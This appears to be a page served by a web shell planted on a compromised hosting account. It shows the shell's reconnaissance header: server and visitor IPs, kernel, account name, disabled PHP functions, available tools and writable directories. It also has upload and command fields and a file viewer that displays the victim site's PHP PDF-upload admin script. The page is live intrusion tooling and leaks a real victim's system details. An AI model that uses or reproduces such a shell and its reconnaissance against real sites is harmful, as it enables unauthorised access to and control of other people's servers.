403Webshell
Server IP : 46.202.172.170  /  Your IP : 216.73.216.59
Web Server : LiteSpeed
System : Linux fr-int-web1904.main-hosting.eu 5.14.0-503.34.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Mar 27 06:00:50 EDT 2025 x86_64
User : u627918583 ( 627918583)
PHP Version : 8.2.28
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/u627918583/domains/techtime-om.com/public_html/controlPanel/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/u627918583/domains/techtime-om.com/public_html/controlPanel/eidt-theqa.php
<?php
include "master.php";
 ?>
 <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.6.0/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.form/4.3.0/jquery.form.min.js"></script>

    <script>
        $(document).ready(function()
        {
        $('form').ajaxForm(function()
        {
        alert("Uploaded SuccessFully");
        });
        });
        </script>
 <script>
 function myFunction() {
 var x = document.getElementById("snackbar");
 // x.classList.add("show");
 x.className = "show";
 setTimeout(function(){ x.className = x.className.replace("show", ""); }, 3000);
 }
 </script>
 <?php


 $id = 1;
 $sql = "Select * from users where id = $id";
 $rs = $db->dbQuery($sql);
 $row = $db->dbFetchRecord($rs);
   if(isset($_POST['submit'])){
    $target_dir = "../../pdf_file/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $fileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    
    $file_new_name = strval(time() + rand(1, 1000000000)) . ".$fileType";
    $upload_path = '../../pdf_file/' . $file_new_name;
    

    // Check if file already exists
    // if (file_exists($target_file)) {
    //   echo "عذرًا، الملف موجود بالفعل.";
    //   $uploadOk = 0;
    // }
    
    // Check file size
    // if ($_FILES["fileToUpload"]["size"] > 500000) {
    //   echo "عذرًا، حجم الملف كبير جدًا.";
    //   $uploadOk = 0;
    // }
    
    // Allow certain file formats
    if($fileType != "pdf") {
      echo "عذرًا، يُسمح فقط بملفات PDF.";
      $uploadOk = 0;
    }
    
    // Check if $uploadOk is set to 0 by an error
    if ($uploadOk == 0) {
      echo "عذرًا، لم يتم رفع الملف.";
    // if everything is ok, try to upload file
    } else {
      if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $upload_path)) {
        $pdf = str_replace('../../pdf_file/', '', $upload_path);
        echo "تم رفع الملف " . htmlspecialchars(basename( $_FILES["fileToUpload"]["name"])) . " بنجاح.";

        $sql = "UPDATE `users` SET `theqa` = '$pdf' WHERE `users`.`id` = $id";
        $rs = $db->dbQuery($sql);
        $err = "تم التعديل بنجاح";


          echo '
              <script>
              $(document).ready(function(){
                $("#snackbar").addClass("show");
                      setTimeout(function(){
                       $("#snackbar").removeClass("show");
                         }, 3000);
            });
              </script>
          ';
          echo "<meta http-equiv='refresh' content='3;URL=edit-commerce.php'>";
      } else {
        echo "عذرًا، حدث خطأ أثناء رفع الملف.";
      }
    }
          


   }

 ?>

 <div class="row">
  <div class="col-sm-12">
    <div class="card-box">



      <h4 class="header-title m-t-0 m-b-30">تعديل بيانات ثقة </h4>
      <div id="snackbar" class="">تم التعديل بنجاح</div>

      <div class="row" style="display: flex;justify-content: center;">
        <div class="col-lg-6">
          <form class="form-horizontal" method="post" enctype="multipart/form-data">
                        <div class="form-group">
                          <div class="custom-file">
                          <h4 class="header-title m-t-0 m-b-30"> <?= $row['commerce'] != '' ? 'يوجد ملف' : '' ?> </h4>
                            <label class="custom-file-label" style="display: block;text-align: center;"> اختر ملف وزارة التجارة </label>
                             <input type="file" name="fileToUpload" id="fileToUpload" class="form-control" >
                           </div>

                        </div>
                      <div class="form-group center" >
                        <button type="submit" value="رفع الملف" name="submit" class="btn btn-success btn-bordred waves-effect w-md waves-light m-b-5" >تعديل</button>

                      </div>
                  </form>
        </div><!-- end col -->


      </div><!-- end row -->
    </div>
  </div><!-- end col -->
 </div>
 <!-- end row -->
 <script>
$(document).ready(function() {

});
// Add the following code if you want the name of the file appear on select
$(".custom-file-input").on("change", function() {
  var fileName = $(this).val().split("\\").pop();
  $(this).siblings(".custom-file-label").addClass("selected").html(fileName);
});
</script>
<?php
include "footer.php";
 ?>

Youez - 2016 - github.com/yon3zu
LinuXploit